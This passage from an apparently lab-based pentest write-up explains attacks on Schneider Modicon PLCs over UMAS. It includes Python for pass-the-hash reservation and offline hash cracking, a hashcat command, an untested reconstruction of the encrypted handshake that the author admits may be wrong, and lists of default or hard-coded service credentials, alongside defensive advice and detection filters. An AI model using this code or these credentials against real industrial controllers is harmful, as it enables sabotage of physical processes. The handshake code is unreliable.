Writing a program into the PLC is the mirror image (0x30 init, 0x31 in blocks, 0x32 end): that’s how an attacker would re-inject modified logic. Important nuance on the reproducibility side: on read, the blocks are numbered 1 to N continuously (a simple loop); on write, it’s the blocks of the specific program that get pushed, with sometimes spaced-out indexes, so it doesn’t “replay” generically. But let’s stay on the read side, it’s already plenty telling.

Once image is in hand, the real surprise. You think “ok it’s compiled, it’s encrypted, I won’t see anything.” Well, no. The APX image is a container of zlib streams. Not encrypted. Just compressed. (Careful, this is the network dump of a running PLC. The case where the project file is really protected, even encrypted, by a password, we’ll see below, and there are even several kinds.)

So you take the image, you decompress a stream, and… you land on the program’s source code. In the clear. Without any Schneider tool:

import zlib
out = zlib.decompress(image[99279:])
print(out)

And it spits out:

IF wAtkBits.15 THEN
    Q1 := wAtkBits.0;
    Q2 := wAtkBits.1;
    Q3 := wAtkBits.2;
    Q4 := wAtkBits.3;
END_IF;

Structured Text, readable, with the variable names. By decompressing all the streams, I recovered the complete program (yeah, ok, I wrote the program myself so I didn’t learn anything new): a Grafcet (the state machine of the bending press), Ladder sections, Structured Text, the symbols, the hardware config… and even, in the clear over the network, the path of the project file:

C:\Users\yoyo\Desktop\bending_machine_v3_180526.STU

Along the way, without sending anything, the capture also spits out the engineering PC’s name (BOOK-1O96RBKNNR, default Windows in all its glory) and the fact that the project lives on the Desktop, like it does for all of us. And that’s the whole stakes on a real target: a simple passive listen on the network is enough to recover the name of the engineering machine, the project’s directory tree and, with the sources, all the know-how.

Vocabulary trap (upload vs download). The Upload/Download labels are a real swamp: they’re reversed between the software and the protocol, and (worse) the researchers don’t even name them the same way. The only reliable thing is the direction of the bytes, which I verified: what Control Expert calls Upload (“read from the PLC”) uses functions 0x33/0x34/0x35, and its Download (“write into the PLC”) the 0x30/0x31/0x32. 0x34 does bring the data from the PLC to the PC. Don’t get fooled by the labels.

In reality, the mechanics are logical once you see them: each transfer is a triplet start -> blocks -> end, 0x30 then 0x31 (repeated per block) then 0x32 in one direction, 0x33 then 0x34 (repeated) then 0x35 in the other. In my two captures, I find exactly that: 0x30, eighty-nine 0x31, 0x32 (a download to the PLC), and 0x33, one hundred and two 0x34, 0x35 (the upload of the program I recover). So it’s indeed the names INITIALIZE_UPLOAD / DOWNLOAD_BLOCK that go haywire depending on the source (the Wireshark dissector even sticks “upload” and “download” in the same triplet, and duplicates a label by copy-paste), not the logic of the bytes.

And what about passwords? (because there are some)

Good question, and it’s THE trap of the topic. You hear “the program is protected by a password” and you imagine one big unique lock. In reality there are several passwords that have nothing to do with each other, and the easiest way to make sense of it isn’t to list them, it’s to ask yourself what you want to do. Depending on the goal, the password that blocks you changes, and often there is none at all.

Your goalWhat blocks you (or not)
Drive the PLC (STOP, forcing, reprogram)the application password, and it’s bypassable
Read / steal the codenothing on the network (the program is never encrypted); a “section protection” exists, but it’s cardboard
Touch the services (FTP, web, flash firmware)the factory service accounts, another surface, some of them hard-coded

The only one that really keeps the PLC is the first: the application password. And the counterintuitive thing, the one that makes everything: it’s not a secret of the PLC’s own, it’s a property of the project. The same password opens the project in Control Expert and authorizes the connection to the PLC. In other words, if you get your hands on the project file (.STU) actually loaded on the target and you crack its password, you also hold the PLC’s key. Local file and PLC share one and the same lock. Keep that in mind, it’s the heart of this part: we dig into it first, we’ll sweep the other locks (section protection, file encryption, service accounts) afterward, where they matter.

Concretely, for the goal that matters (driving), here’s how you land a write session, from the most common case to the hardest. We detail each line right after.

What you’re facingHow you connect
No application password (the default, the vast majority)You reserve with a bogus name, session in hand, you do everything. Zero auth.
App password, vulnerable firmware (the bulk of the installed base)Pass-the-hash: you steal pwdhash on the network (block 0x14, or captured in a project transfer) and you replay it. Without ever knowing the password.
App password, but you have the target’s .STUThe file gives you pwdhash: free if it’s not encrypted (the default), otherwise you first have to undo the file encryption. Then you replay it in pass-the-hash (it works even on up-to-date firmware), or you crack it for the plaintext password.
App password, up-to-date firmware, no file, strong passwordThere, at last, it holds: no hash theft on the network (encrypted channel, 0x14 closed), no crack (no hash at hand). You’re left with social (SHIFT+F2, spoofing the proof of ownership to support).

The application password down to the byte (and why it doesn’t save you)

Let’s dig in. Schneider writes in black and white, in its “Setting Passwords” doc, that the same password serves to “Open the application” AND “Connect to the PAC”: the PLC has no programming secret of its own. It remains to see how it verifies this password, and it’s that detail that breaks everything. When the application password is enabled, you imagine a real login. Nope, all the computation is done on the PC, the PLC only compares a hash.

The PLC keeps two base64 strings in memory block 0x14:

  • pwdsalt = 16 random bytes
  • pwdhash = SHA256(pwdsalt || password), and the plaintext password is never stored or sent

(Firmware detail: this “proper” salted SHA256 holds for the modern Application Password, starting from firmware v3.01; before that, the protection mechanism was weaker, cf. CVE-2020-28212.)

An authenticated reservation is three beats:

1.  0x20  ReadMemoryBlock(0x14)   ->  pwdsalt (+ pwdhash before firmware 3.50)   [NO auth]
2.  0x6E  nonce exchange           ->  the PC sends Nonce_PC, the PLC returns Nonce_PLC (32 B each, in the clear)
3.  0x10  TryReserve(auth_secret)  ->  the PLC compares, returns the session key (1 byte)

And the secret of step 3, down to the byte, trivially reproducible in Python:

import hashlib, base64
def auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc):   # what Control Expert computes
    blob = (nonce_plc
            + base64.b64encode(pwdsalt) + b"\r\n"
            + base64.b64encode(pwdhash) + b"\r\n"
            + nonce_pc)
    return hashlib.sha256(blob).digest()                  # -> to send back in the 0x10

The catch? The only secret in there is pwdhash, not the password. And pwdhash lived in block 0x14, which the 0x20 ReadMemoryBlock returns without authenticating. Hence two angles:

  • Online, you don’t even need to guess. You read pwdsalt/pwdhash with 0x20, you sniff the two nonces (in the clear), you recompute auth_secret, you send it back in 0x10, and you reserve without ever knowing the password. Pass-the-hash. It’s ModiPwn (CVE-2021-22779).
  • Offline, if you want the real password (to open Control Expert, for example). Since pwdhash = SHA256(pwdsalt || pwd) is a single-round SHA-256 with a known salt, you crack it with a wordlist locally:
for mot in open("rockyou.txt", "rb"):                     # offline crack, once pwdsalt/pwdhash are stolen
    mot = mot.strip()
    if hashlib.sha256(pwdsalt + mot).digest() == pwdhash:
        print("password =", mot.decode()); break

And since it’s a most standard salted SHA-256, a hashcat does the same job. With the salt as a prefix (SHA256(salt || pass)), it’s mode 1420. And since it’s 16 binary bytes (it travels in base64 in block 0x14, to be decoded then re-encoded as hex), you need the --hex-salt option:

# hash.txt: one line  pwdhash_hex:pwdsalt_hex   (64 hex chars : 32 hex chars)
hashcat -m 1420 --hex-salt hash.txt rockyou.txt

Each firmware hardening closes a door. Naming trap, these numbers are on the M340 side, the M580 has its own numbering, hence the two columns (Kaspersky, advisory SEVD-2021-194-01):

What gets closedM340M580
Theft of pwdhash via unauthenticated 0x14 (ModiPwn)v3.50SV4.10
0x6E nonces encrypted (Diffie-Hellman + AES-256), no more passive sniffv3.60SV4.10

Corollary you find on the defense side: the M580 has no v3.60, its v3.x branch stops at v3.30 (unsecured). An M580 too old to move to v4 therefore stays without ever getting this hardening.

Except that (2024 twist, Zaltzman & Wool at Black Hat EU, demonstrated on M340), even patched, pass-the-hash comes back: pwdsalt/pwdhash re-transit (base64) at every project upload/download, so you capture a program transfer, you recover the hash, and you reserve again without the password (CVE-2024-8933). And since the 3.60’s Diffie-Hellman isn’t authenticated, a MITM (ARP spoofing) also grabs the nonces (CVE-2024-8935).

Then in 2026: these two flaws were finally fixed (Schneider revision SEVD-2024-317-02 of April 2026, M340 in SV3.70 and Control Expert in V16.2 HF003; the Modicon MC80, for its part, stays unfixed). So in theory, on an up-to-date PLC, application password enabled and encrypted channel, the purely passive attacker is blocked. In theory. Because a PLC lives ten, fifteen, twenty years on a production line and is almost never updated: the overwhelming majority of the installed base still runs on vulnerable firmwares, patch available or not. The fix exists, it’s simply not deployed, when it’s not outright nonexistent (many of these flaws are insecure-by-design, with no fix at all).

And even up to date, the door never fully closes, and it’s a design flaw, not a bug: the reservation validates a proof of knowledge of the pwdhash, computed on the client side (Zaltzman & Wool, verbatim: “regardless of the firmware version”). The PLC only stores the hash, so it’s incapable of distinguishing “knows the password” from “knows the hash.” The 2024/2026 fixes close the means of stealing the hash on the wire (project transfer, MITM), not the fact of replaying a hash you already hold. So if you obtain the pwdhash some other way (a leaked .STU of the target, an old firmware lying around), you reserve even a patched PLC, without even cracking it.

And concretely, with the password in hand?

Let’s assume the “clean” case: an up-to-date PLC, application password enabled, and you have the password (the real one, or the one you just cracked offline). Note that the encrypted handshake below was reversed on M340 (v3.60); the M580 hardens its auth on its v4.x line (SV4.10), analogous but not publicly dissected. The authenticated reservation scripts like everything else, we just replay the full handshake. Here’s the reconstruction of the flow based on the formulas published by Zaltzman & Wool at Black Hat EU 2024 (I did not test it live, and it really is a reconstruction: the authors, like Tenable, kept their PoC to themselves, there’s no complete public code for the authenticated part):

import os, hashlib      # auth_secret() and the umas() helper come from above

MDP = b"le_mot_de_passe"                          # known, or recovered by the offline crack above

# 1. read the salt in memory block 0x14 (0x20 ReadMemoryBlock) and recompute the hash yourself
_, _, blk = umas(0x00, 0x20, req_lecture_bloc(0x14))
pwdsalt = extraire_pwdsalt(blk)                   # 16 bytes (decoded from the block's base64)
pwdhash = hashlib.sha256(pwdsalt + MDP).digest()

# 2. nonce exchange (0x6E): we send ours, the PLC sends back its own
nonce_pc = os.urandom(32)
_, _, r = umas(0x00, 0x6E, nonce_pc)
nonce_plc = r[:32]

# 3. we compute auth_secret and reserve (0x10) with it
secret = auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc)
_, _, d = umas(0x00, 0x10, req_reservation(secret))
print("authenticated session =", hex(d[-1]))

Starting from 3.60 (M340) or the v4 line (M580), this 0x6E gets armored: a Diffie-Hellman establishes a key, and the nonces transit encrypted in AES-256. Except that my own PLC is way too old for this firmware, and it can’t even be updated (the PV ≤ 3 hardware trap, detailed below). So I have no way to test this part on real hardware: what follows is my reconstruction from the published formulas (Zaltzman & Wool), and heavily assisted by my friend Claude, and honestly I doubt it’s exactly this. Take it as a starting lead (for fuzzing), not as a truth:

import os, hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

# Diffie-Hellman: RFC 3526 group no. 14 (MODP 2048 bits), generator g = 2
G = 2
P = int("FFFFFFFFFFFFFFFFC90FDAA22168C234...FFFFFFFFFFFFFFFF", 16)   # the prime of group 14 (see RFC 3526)

# 1st round trip (Mode 0x03): we exchange the DH public keys, 256 bytes each
a = int.from_bytes(os.urandom(32), "big")
A = pow(G, a, P).to_bytes(256, "big")                         # our public key g^a
_, _, r = umas(0x00, 0x6E, b"\x03" + reserver_id + A)
dh_pub_plc = r[2:2+256]                                       # the PLC's (after the 0xAAAA magic)
dh_shared  = pow(int.from_bytes(dh_pub_plc, "big"), a, P).to_bytes(256, "big")

# we derive the AES-256 key and prepare the encryption (AES-256-CBC, null IV, 32 B = 2 blocks, no padding)
aes_salt   = os.urandom(16)
aes_secret = hashlib.sha256(aes_salt + dh_shared).digest()    # SHA256(salt || shared secret) = AES key
def aes(data, sens):
    c = Cipher(algorithms.AES(aes_secret), modes.CBC(b"\x00"*16))
    x = c.encryptor() if sens == "enc" else c.decryptor()
    return x.update(data) + x.finalize()

# 2nd round trip (Mode 0x04): encrypted nonces
nonce_pc = os.urandom(32)
_, _, r = umas(0x00, 0x6E, b"\x04" + reserver_id + aes(nonce_pc, "enc") + aes_salt)
nonce_plc = aes(r[2:2+32], "dec")

# from here, same auth_secret as before, then TryReserve 0x10
secret = auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc)
_, _, d = umas(0x00, 0x10, req_reservation(secret.hex().encode()))   # presumably the digest as hex ASCII (64 B)
print("authenticated session =", hex(d[-1]))

And honestly, plenty of details in there could be wrong (the exact encoding of the auth_secret, the padding, the length of the DH secret…): for lack of compatible hardware, I couldn’t verify anything. The thing to remember isn’t the code down to the bit, it’s that on a truly up-to-date PLC, knowing the password is no longer enough to copy-paste a PoC: you have to redo this encrypted handshake yourself. That’s where the update and the strong password finally start to pay off.

And what if the program has a password? (read/steal the code)

Excellent question, and to answer it you have to separate two things people constantly mix up: access (am I allowed to start the transfer?) and encryption (is what comes out unreadable?). The short answer, verified with Zaltzman & Wool and Kaspersky: on the wire, the UMAS program is never encrypted, only compressed, whatever the firmware. The application password, for its part, is an access lock (and a bypassable one), not a transport encryption. It plays out in two places: on the network, or on a file lying around.

From the network, it’s a done deal. Without an application password (the default, super common), you reserve, you upload, you retrieve the plaintext-compressed APX, exactly like the script above, zero password. With the application password enabled, the upload becomes a reserved function, but that doesn’t save you: one, the password encrypts nothing (the program comes back plaintext-compressed even when authenticated); two, the reservation is bypassable (pass-the-hash / ModiPwn, seen above), so you often suck out the program without even knowing the password. Network dump = zero password to crack and zero encryption to undo.

The nuance that matters (dump ≠ always the sources). The PLC always keeps the compiled code and the config. To reconstruct a clean .STU (comments, symbols, section structure), you need to have checked “Upload Information” at download time. If it was disabled, your upload gives you back the logic that runs but not a complete source project. In my capture, everything was there, comments included.

The only case where you really have to “crack” is a local project file. You’re handed a locked .STU/.STA, without the PLC. And there again, it’s flimsy:

  • The export washes out the protection (Control Expert ≤ V15.0): once the project is legitimately open, an .XEF/.ZEF export produces a copy with no password at all (Schneider FAQ000239357), redistributable in the clear. Weakening, not opening-bypass.
  • The file contains the application hash (A). An unencrypted .STU carries the pair pwdsalt + pwdhash = SHA256(pwdsalt || pwd), the same APX binary as on the PLC (Kaspersky KLCERT-21-007). Not the plaintext password (never stored), but its hash, which you crack with a wordlist (hashcat -m 1420) or replay in pass-the-hash. And since this application password also opens the PLC, a stray .STU = enough to drive the PLC. Only condition, that it be the .STU of the project actually loaded on the target (a program made in your corner doesn’t contain the target’s secret). The salt is random per project, so no universal rainbow table, unlike the M221 below.
  • The section protection is cardboard. The Crypted option that masks code sections relies on a homemade hash: output limited to A-Z/0-9, collisions galore. Tenable shows that acq, asq, isy and qsq all give 5DF. No need for the real password, you find one that collides in the blink of an eye. But remember: this only masked the code’s display, never the connection to the PLC.
  • The real encryption, for its part, is optional and off-network. By default, a “protected” project isn’t even encrypted, just obfuscated. The only real encryption is the File encryption option (V15 SP1+): it encrypts the .STU at rest in AES-256, with a password cryptographically distinct from the application one (its own salt, its own hash in the APX, confirmed by Zaltzman & Wool). Two limits: disabled by default, and it protects nothing on the network (even with the project encrypted on the PC, the UMAS transits in the clear). But it has one real use, often missed: an encrypted .STU that leaks does not hand over pwdhash (it’s under the AES), so not the PLC’s key.
  • CVE-2023-6409: hard-coded credentials allowing access to a project protected by an application password (Control Expert < v16.0).
  • The “lost password” Schneider way: at the password prompt, you press SHIFT+F2, an alphanumeric string appears (official procedure). You copy it into a form, you send it to Schneider support, who sends you back within ~24h a temporary password (valid as long as the application isn’t modified). Can you be malicious with it? Yes, but under conditions: you have to already have the project file in hand (the displayed code is specific to it, it opens no remote access to the PLC), and above all trick the support by spoofing the “proof of ownership” (purely declarative: a header and a signature are trivial to forge). Worth noting: the very existence of this recovery procedure implies that the application password is recoverable by design, which puts it closer to reversible obfuscation than to a cryptographic secret.

Patched? Not really: encrypting the file has existed since V15 SP1 but remains optional, and a password cracked from a file you possess, no firmware takes it away from you. The real defense is organizational: a long and unique password, file encryption enabled, and don’t leave your .STU files lying around.

A separate case, not to be mixed in: the M221. On this range (SoMachine Basic, now EcoStruxure Machine Expert Basic), the model differs. On the controller-access side, two separate passwords, a read one (upload) and a write one (download) (Trustwave SpiderLabs), whereas Control Expert has only one. On the file side, the .smbp is genuinely encrypted (AES-256), but badly: once with a hard-coded key (CVE-2017-7574), now with a key equal to your password repeated until it reaches 32 bytes and a hard-coded salt on the hash (CVE-2020-28214). In short, a 100% offline crack from the file, while the network unlock rests on ~65,000 combinations (CVE-2020-7566). We won’t go into the details here; the step-by-step reverse is told by biero-llagas.

The default service accounts (the other surface)

Last family, the dumbest: the factory accounts of the services (web, FTP, flash firmware), public and documented by Schneider. They don’t drive the process, but they’re other doors into the device, to be closed too. The most famous, datadownload: the password of the datastorage FTP account (SD card storage) on M340 and M580 under Control Expert, hard-coded and not modifiable before (FAQ FA231327). Two traps: don’t stick it on the wrong range (on M241/M251, the default FTP is Anonymous/Anonymous, not datadownload), and know that “not modifiable” isn’t forever (on M580, FTP disappears in favor of HTTPS as of firmware v4.10).

A quick tour of the main ranges (tip: on M340, Premium, Quantum and Momentum, these accounts come from the FactoryCast Ethernet module, shared from one range to another):

Range (software)Known default accountsGood to know
M340 (Control Expert), via FactoryCast BMX NOEUSER/USER (web), sysdiag/factorycast@schneider and ntpupdate/ntpupdate (FTP), loader/fwdownload (flash)FactoryCast system accounts frozen; project password empty by default
M580 (Control Expert)webuser/webuser (CPU web, forced change ≥ v4.02), admin/factorycast (BMENOC modules), datastorage/datadownload (SD FTP, < v4.10), loader/fwdownload (flash)project password empty by default
M221 (Machine Expert Basic)no web/FTP; app password disabled by defaultbefore firmware v1.5/1.6, the app password is recoverable over Modbus and the file decrypts via a hard-coded AES key SoMachineBasic… (CVE-2017-7575 + CVE-2017-7574)
M241 / M251 (Machine Expert)Administrator/Administrator (forced change); FTP Anonymous/Anonymous in legacyUser Rights forces an account at reset
Quantum / Premium (Unity), via FactoryCast / NOEUSER/USER, sysdiag/factorycast@schneider, ntpupdate/ntpupdate; Quantum: hard-coded VxWorks backdoors (ftpuser/password…)Quantum = Project Basecamp (Digital Bond, 2012)
Momentum (ENT adapter)USER/USER, ntpupdate/ntpupdateFactoryCast base

The point to remember isn’t the list (for that, arnaudsoullie/ics-default-passwords and the se.com FAQs do the job), it’s the hierarchy: the real danger isn’t webuser/webuser (modifiable, forced change today), it’s the empty-by-default project password across the whole Control Expert range, and the hard-coded accounts (sysdiag, loader/fwdownload, Quantum’s VxWorks backdoors) which, for their part, never change.

Alright, so how do we defend ourselves?

Concretely, attack by attack, what would have blocked me, with the native Schneider functions that go with it.

  • Encrypt/authenticate the channel, the only real countermeasure to sniff + replay. My whole attack starts from a passive listen: as long as UMAS travels in the clear on 502, I copy everything. Schneider’s answer is IPsec (ESP: confidentiality + integrity + anti-replay + origin authentication). A nuance many miss: on M580, IPsec isn’t in the CPU’s port, it’s carried by the BMENOC0301/0311 Ethernet comm module (or the BMENUA0100 OPC UA module on the Safety side), and you have to route the engineering traffic through that module. Done right, it kills my attack: no more plaintext sniff, no more replay of my 0x10 frame. (Not to be confused with the Modbus/802 seen above, standard TLS on port 802, which Schneider doesn’t deploy here.)
  • Push for secure Modbus (the standard countermeasure exists). For plain Modbus, it’s Modbus/TCP Security (Modbus Organization, 2018): TLS, X.509 certificates on both sides and role-based authorization, on port 802. On the Schneider side, the answer is real and documented too (IPsec via BMENOC, the Application Password, hardened v4 firmwares). In short, the problem isn’t the lack of a solution, it’s deployment: these mechanisms stay underused, whereas turning them on (or requiring your integrator to) eliminates most of what I show here.
  • Access Control (IP whitelist): restrict who is allowed to talk to 502. Control Expert offers, natively on the CPU’s port, an Access Control table: you authorize an IP or a subnet per service (columns FTP, TFTP, HTTP, Port502 (Modbus), EIP, SNMP). My attack PC off the list, and the CPU refuses the TCP connection to 502, no reservation possible. The “Enforce Security” preset enables it in one go (and cuts FTP/TFTP/HTTP/SNMP/EIP, enables memory protection, logging…). ⚠️ Two limits to own. The ACL filters by source IP, and on a flat segment (an OT network as we often see: everyone on the same subnet, no VLAN or firewall between machines), nothing stops an already-present attacker from spoofing the IP of the authorized engineering station: they forge the source IP of their packets, and via ARP spoofing they also divert the responses to themselves. The IP filter falls. And in any case, the ACL doesn’t prevent the sniff.
  • Segment: 502 should only talk to the legitimate engineering station, on an OT network isolated from IT. No route to 502 = UMAS doesn’t exist for you. The PC name, for its part, is not a filter.
  • Enable application protection and update the firmware (ModiPwn fix: M340 v3.50, M580 SV4.10; the 2024 pass-the-hash rebounds are plugged since SV3.70 / Control Expert V16.2 HF003). A fully up-to-date PLC is still not inviolable (the auth remains a replayable hash computed on the client side), but it eliminates the trivial bypasses and forces the attacker to really work, or even fall back on an offline crack. On the practical side, the update now goes through EADM (which replaced Unity Loader for the secure v4.x firmwares), with a two-step path v3.x -> v3.99 -> v4.x. And a hardware trap that illustrates the problem exactly. Schneider did a visible CPU refresh: the “white” M580s are the old generation (shipped in v2.x/v3.x), the “gray” ones the new (natively in secure v4, with a hardened boot loader). A white one can often be migrated to v4 via the two-step path, except the very first ones (product version ≤ 3, to be read on the label) which don’t have the right hardware boot loader: forcing them to v4 destroys the CPU, and they stay capped at the last v3.x. And on the certification side, the M580 ePAC and the BMENOC302 module obtained ANSSI’s CSPN (June 2026).
  • Cut what’s not used: FTP datastorage, web server, SNMP… that many doors (and default passwords) fewer. “Enforce Security” does it for you.
  • Monitor UMAS: the sensitive functions (0x10 reservation, 0x40/41 start/stop, 0x71 forcing, 0x30-35 transfer, and a 0x20 on block 0x14 = hash-theft attempt) are at a fixed offset, detectable in an IDS.
  • Protect your captures: a pcap of a 0x34 transfer is the program in the clear and the base64 auth material. Treat it as a secret.

On the detection side, spotting all the UMAS traffic fits in one filter (Modbus function code 90 = 0x5A):

tshark -r capture.pcapng -Y 'modbus.func_code == 90'

And to target a specific function rather than all of UMAS, we filter on the function byte (right after the session byte): modbus.func_code == 90 && modbus.data[1:1] == 0x10 isolates the reservation (put 0x71 for a force, 0x41 for a STOP, 0x34 for a program theft). Be careful to write the 0x, otherwise Wireshark reads the number in decimal. These hot functions are at a fixed offset, so also spottable on the IDS side.

To go further, the CVEs worth knowing: CVE-2018-7842 (brute-forcing the reservation), CVE-2022-45789 (session replay/hijack, OT:ICEFALL follow-up at Forescout), CVE-2021-22779 ModiPwn (bypass of the application auth via block 0x14), CVE-2022-45788 OT:ICEFALL (code execution), CVE-2018-7845 (unauthenticated memory read) and CVE-2019-6806 (SNMP string leak).

And to flip the balance of power entirely: the Evil PLC research (Team82 / Claroty, August 2022) showed you can also booby-trap the PLC so it turns the tables on the engineering workstation that connects to it: the controller is no longer the prey but the “predator”. On the Schneider side (the M580 is one of the white paper’s cases), it goes through a heap overflow in Control Expert’s XML decompression: CVE-2022-26507, CVSS 9.8, CISA advisory ICSA-22-223-03.

Conclusion

The moral? OT is a world where security rested on “the network is isolated.” Except it’s less and less so.

If this gave you a bit of an urge to get your hands dirty, on the Modbus side at least, I recommend the HTB Alchemy prolab!

If you enjoyed it, feel free to reach out to me on discord!

OT security in 2026, in one image


Disclaimer

This article is part of my industrial-cybersecurity research and development, carried out within my pentesting work for authorized clients, and performed on my own lab equipment, on an isolated network with no third-party target whatsoever. Its purpose is educational and defensive: understanding these protocols is what lets you protect them.

Every vulnerability discussed here is public and documented, and the vendor or manufacturer has released the corresponding fixes (each point links to its CVE reference, its CISA advisory, or the relevant vendor advisory); deploying them is the operator’s responsibility. Nothing here is a novel flaw or a patch bypass.

The analyses presented reflect the state of public knowledge and documentation as of the date of writing. They do not prejudge the current state of the products concerned, which may have evolved since the fixes mentioned were released.

This article is in no way meant to encourage reproducing these techniques for malicious purposes. Accessing or disrupting an information system without authorization is illegal (in France, art. 323-1 et seq. of the Criminal Code; equivalent laws apply elsewhere, e.g. the CFAA in the US or the Computer Misuse Act in the UK). Only operate on equipment you own or for which you hold written authorization.

The trademarks mentioned (Schneider Electric, Modicon, EcoStruxure, Modbus, etc.) belong to their respective owners and are referenced solely for technical identification; this article is independent and implies no affiliation, partnership, or endorsement.